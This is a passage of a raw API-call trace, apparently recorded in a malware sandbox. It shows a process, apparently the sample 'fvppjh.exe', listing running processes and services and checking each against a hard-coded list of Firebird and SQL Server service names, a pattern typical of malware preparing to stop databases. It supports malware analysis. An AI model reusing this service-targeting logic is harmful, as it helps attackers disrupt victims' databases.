	[0179.432] Process32NextW (in: hSnapshot=0x55c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0179.433] lstrlenW (lpString="csrss.exe") returned 9
	[0179.433] Process32NextW (in: hSnapshot=0x55c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0179.433] lstrlenW (lpString="wininit.exe") returned 11
	[0179.433] Process32NextW (in: hSnapshot=0x55c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0179.434] lstrlenW (lpString="csrss.exe") returned 9
	[0179.434] Process32NextW (in: hSnapshot=0x55c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0179.434] lstrlenW (lpString="winlogon.exe") returned 12
	[0179.434] Process32NextW (in: hSnapshot=0x55c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0179.434] lstrlenW (lpString="services.exe") returned 12
	[0179.434] Process32NextW (in: hSnapshot=0x55c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0179.435] lstrlenW (lpString="lsass.exe") returned 9
	[0179.435] Process32NextW (in: hSnapshot=0x55c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0179.435] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0179.435] Process32NextW (in: hSnapshot=0x55c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0179.436] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0179.436] Process32NextW (in: hSnapshot=0x55c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0179.436] lstrlenW (lpString="svchost.exe") returned 11
	[0179.436] Process32NextW (in: hSnapshot=0x55c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0179.437] lstrlenW (lpString="svchost.exe") returned 11
	[0179.437] Process32NextW (in: hSnapshot=0x55c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0179.437] lstrlenW (lpString="dwm.exe") returned 7
	[0179.437] Process32NextW (in: hSnapshot=0x55c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3c, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0179.437] lstrlenW (lpString="svchost.exe") returned 11
	[0179.437] Process32NextW (in: hSnapshot=0x55c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0179.438] lstrlenW (lpString="svchost.exe") returned 11
	[0179.438] Process32NextW (in: hSnapshot=0x55c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0179.438] lstrlenW (lpString="svchost.exe") returned 11
	[0179.438] Process32NextW (in: hSnapshot=0x55c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0179.439] lstrlenW (lpString="svchost.exe") returned 11
	[0179.439] Process32NextW (in: hSnapshot=0x55c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x26c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0179.615] lstrlenW (lpString="svchost.exe") returned 11
	[0179.615] Process32NextW (in: hSnapshot=0x55c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0179.616] lstrlenW (lpString="svchost.exe") returned 11
	[0179.616] Process32NextW (in: hSnapshot=0x55c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0179.616] lstrlenW (lpString="svchost.exe") returned 11
	[0179.616] Process32NextW (in: hSnapshot=0x55c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x504, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0179.616] lstrlenW (lpString="svchost.exe") returned 11
	[0179.616] Process32NextW (in: hSnapshot=0x55c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0179.617] lstrlenW (lpString="svchost.exe") returned 11
	[0179.617] Process32NextW (in: hSnapshot=0x55c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0179.617] lstrlenW (lpString="svchost.exe") returned 11
	[0179.617] Process32NextW (in: hSnapshot=0x55c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0179.618] lstrlenW (lpString="spoolsv.exe") returned 11
	[0179.618] Process32NextW (in: hSnapshot=0x55c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x69c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0179.618] lstrlenW (lpString="svchost.exe") returned 11
	[0179.618] Process32NextW (in: hSnapshot=0x55c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0179.619] lstrlenW (lpString="audiodg.exe") returned 11
	[0179.619] Process32NextW (in: hSnapshot=0x55c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x748, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0179.619] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0179.619] Process32NextW (in: hSnapshot=0x55c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0179.619] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0179.619] Process32NextW (in: hSnapshot=0x55c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0179.620] lstrlenW (lpString="Memory Compression") returned 18
	[0179.620] Process32NextW (in: hSnapshot=0x55c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x3b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0179.620] lstrlenW (lpString="sihost.exe") returned 10
	[0179.620] Process32NextW (in: hSnapshot=0x55c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0179.621] lstrlenW (lpString="svchost.exe") returned 11
	[0179.621] Process32NextW (in: hSnapshot=0x55c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x830, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0179.621] lstrlenW (lpString="taskhostw.exe") returned 13
	[0179.621] Process32NextW (in: hSnapshot=0x55c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0179.622] lstrlenW (lpString="taskhostw.exe") returned 13
	[0179.622] Process32NextW (in: hSnapshot=0x55c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x37, th32ParentProcessID=0x9ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0179.622] lstrlenW (lpString="explorer.exe") returned 12
	[0179.622] Process32NextW (in: hSnapshot=0x55c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0179.622] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0179.622] Process32NextW (in: hSnapshot=0x55c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xba0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0179.624] lstrlenW (lpString="SearchUI.exe") returned 12
	[0179.624] Process32NextW (in: hSnapshot=0x55c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0179.624] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0179.625] Process32NextW (in: hSnapshot=0x55c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0179.625] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0179.625] Process32NextW (in: hSnapshot=0x55c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x9bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="fvppjh.exe")) returned 1
	[0179.625] lstrlenW (lpString="fvppjh.exe") returned 10
	[0179.625] Process32NextW (in: hSnapshot=0x55c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0179.626] lstrlenW (lpString="dllhost.exe") returned 11
	[0179.626] Process32NextW (in: hSnapshot=0x55c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0
	[0179.626] CloseHandle (hObject=0x55c) returned 1
	[0179.626] Sleep (dwMilliseconds=0x1f4) 
	[0180.235] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x41c0520
	[0180.243] EnumServicesStatusExW (in: hSCManager=0x41c0520, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0) returned 0
	[0180.244] GetLastError () returned 0xea
	[0180.244] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x1bc4) returned 0x41e6cb8
	[0180.244] EnumServicesStatusExW (in: hSCManager=0x41c0520, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x41e6cb8, cbBufSize=0x1bc4, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x41e6cb8, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0) returned 1
	[0180.245] CloseServiceHandle (hSCObject=0x41c0520) returned 1
	[0180.245] lstrlenW (lpString="Appinfo") returned 7
	[0180.245] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0180.245] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0180.245] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0180.245] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0180.245] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0180.245] lstrlenW (lpString="AppXSvc") returned 7
	[0180.245] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0180.245] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0180.245] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0180.245] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0180.245] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0180.245] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0180.245] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0180.245] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0180.245] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0180.245] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0180.245] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0180.245] lstrlenW (lpString="Audiosrv") returned 8
	[0180.245] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0180.245] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0180.246] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0180.246] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0180.246] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0180.246] lstrlenW (lpString="BFE") returned 3
	[0180.246] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0180.246] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0180.246] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0180.246] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0180.246] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0180.246] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0180.246] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0180.246] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0180.246] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0180.246] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0180.246] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0180.246] lstrlenW (lpString="CDPSvc") returned 6
	[0180.246] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0180.246] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0180.246] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0180.246] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0180.246] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0180.246] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0180.246] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0180.246] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0180.246] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0180.246] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0180.246] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0180.246] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0180.246] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0180.246] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0180.246] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0180.246] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0180.246] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0180.246] lstrlenW (lpString="CryptSvc") returned 8
	[0180.247] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0180.247] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0180.247] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0180.247] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0180.247] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0180.247] lstrlenW (lpString="DcomLaunch") returned 10
	[0180.247] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0180.247] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0180.247] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0180.247] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0180.247] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0180.247] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0180.247] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0180.247] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0180.247] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0180.247] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0180.247] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0180.247] lstrlenW (lpString="Dhcp") returned 4
	[0180.247] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0180.247] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0180.247] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0180.247] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0180.247] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0180.247] lstrlenW (lpString="Dnscache") returned 8
	[0180.247] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0180.247] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0180.247] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0180.247] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0180.247] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0180.247] lstrlenW (lpString="DPS") returned 3
	[0180.247] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0180.247] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0180.247] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0180.247] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0180.247] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0180.248] lstrlenW (lpString="DusmSvc") returned 7
	[0180.248] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0180.248] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0180.248] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0180.248] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0180.248] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0180.248] lstrlenW (lpString="EventLog") returned 8
	[0180.248] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0180.248] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0180.248] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0180.248] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0180.248] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0180.248] lstrlenW (lpString="EventSystem") returned 11
	[0180.248] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0180.248] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0180.248] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0180.248] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0180.248] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0180.248] lstrlenW (lpString="FontCache") returned 9
	[0180.248] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0180.248] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0180.248] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0180.248] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0180.248] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0180.248] lstrlenW (lpString="gpsvc") returned 5
	[0180.248] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0180.248] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0180.248] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0180.248] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0180.248] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0180.248] lstrlenW (lpString="iphlpsvc") returned 8
	[0180.248] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0180.248] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0180.248] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0180.248] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0180.248] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0180.249] lstrlenW (lpString="KeyIso") returned 6
	[0180.249] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0180.249] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0180.249] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
